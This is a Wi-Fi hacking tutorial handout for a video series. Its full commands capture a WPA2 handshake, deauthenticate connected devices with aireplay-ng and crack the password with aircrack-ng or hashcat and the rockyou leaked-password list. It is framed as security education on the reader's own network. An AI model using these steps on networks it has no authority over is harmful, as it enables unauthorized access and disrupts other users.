Wi-Fi Hacking Walk-Through

Perry van der Zande, Thijs van der Laan, Darren Rawlings

Introduction

This document accompanies a video series on Wi-Fi hacking. Whilst the focus is the video tutorial this brief overview was created to help with the commands, as you cannot copy and paste from a video. It is strongly recommended you watch all the videos and read this document fully before attempting to follow the instructions.

Disclaimer

The object of the tutorial is not to promote Wi-Fi hacking, but to highlight some of its insecurities so you can make the right decisions regarding the security of your networks. The activities shown here should never be attempted on networks you do not have the permission to hack, doing so may violate laws in your region.

What you will need

The aircrack-ng suite of tools. These include airmon-ng, airodump-ng, aireplay-ng, and aircrack-ng. Whilst there are versions for both Windows and macOS we will be demonstrating these on linux, and they come pre-installed with Kali linux.

Optionally, you may want to use hashcat, which is a password recovery tool. It is typically faster than aircrack-ng as it can use your GPU to speed up the process. This is also available for linux, Windows and macOS, and it comes pre-installed in Kali linux.

A wordlist containing possible passwords. We suggest the rockyou wordlist, it contains over 14 million leaked passwords. Kali comes with the rockyou wordlist but it is compressed to save space. It can be decompressed with the command:

```
sudo gzip -d /usr/share/wordlists/rockyou.txt.gz
```

A WiFi access point you own. We used a small travel router for this purpose, but the specific device does not matter as you will be attacking the protocol not the device. Most phones have a hotspot mode which is ideal for testing. For the example shown here its network should use WPA2 and it needs at least one device connected to it as you will be attempting to capture the handshake between the access point and the device.

A computer with a WiFi card that supports monitor mode and packet injection. More details can be found here: https://www.aircrack-ng.org/doku.php?id=compatibility_drivers . If you do not have a suitable card we have added the captured packet files to our GitHub repository (https://github.com/rugethicalhacking/wifi) so you can still attempt to recover the password from the capture packets.

Process

Identify your WiFi Adapter

First we need to determine the correct network interface. We can do this using:

```
iwconfig
```

It will list all the network interfaces on your device including its identifier. In our case wlan0, we will use this going forward, but if yours is different adjust the commands below.

Put the WiFi adapter into monitor mode

This is a two step process, first you need to kill and processes that may prevent your card going into monitor mode. Airmon-ng can do this for you (note: you may lose internet connection during this process):

```
sudo airmon-ng check kill
```

Now we can finally put it into monitor mode:

```
sudo airmon-ng start wlan0
```

Capturing the handshake

We can identify the channel and BSSID of our target network by running airodump-ng, which will show you all the traffic the WiFi card can detect:

```
sudo airodump-ng wlan0
```

Once you can see your target you can stop airodump-ng by pressing ctrl+c. You should now have the channel and BSSID. You can plug them in to the command below (ours was channel 1 and BSSID E4:95:6E:40:77:3A):

```
sudo airodump-ng wlan0 -c 1 --bssid E4:95:6E:40:77:3A -w demo
```

We are now capturing all the packets sent to this access point. If something were to connect to it we how have our handshake. We can, however, speed this up by disconnecting a device already connected to it. Whilst the previous command is running, in a separate terminal type:

```
sudo aireplay-ng wlan0 -a E4:95:6E:40:77:3A --deauth 1
```

You should see “WPA Handshake” in the first terminal showing you have captured the handshake. If this is not the case rerun the deauth command. Once you see “WPA Handshake” you can close the second terminal. You can also stop the capturing in the first by pressing ctrl+c in the first terminal.

A quick `ls` should show the files generated, we will use the one named demo-01.cap, which contains all the captured packets including our handshake.

Restore you Wi-Fi

You no longer need to be in monitor mode so you can restore your Wi-Fi to normal by issuing the command:

```
sudo service NetworkManager restart
```

Recover the password

Now we will recover the password. We will do this in two ways, you only need to use one.

To do this in aircrack-ng we can use the file containing all the packets. To do this enter:

```
sudo aircrack-ng demo-01.cap -w /usr/share/wordlists/rockyou.txt
```

In our demonstration, a laptop with a 4 core/8 thread Intel Core i7-11370H it took 8 minutes 34 seconds to find the password on its 7.6 millionth (approximately) attempt.

If you wish to use your GPU you can use hashcat. To do this you first need to convert the cap file into something hashcat can process. The easiest way to do this is to use the service provided at: https://hashcat.net/cap2hashcat/ . We saved our new file as demo.hc22000. We can now run us hashcat with the command:

```
hashcat -m 22000 demo.hc22000 /usr/share/wordlists/rockyou.txt
```

On our demo laptop with a mobile Nvidia RTX 3060 this took just 21 seconds of hashing.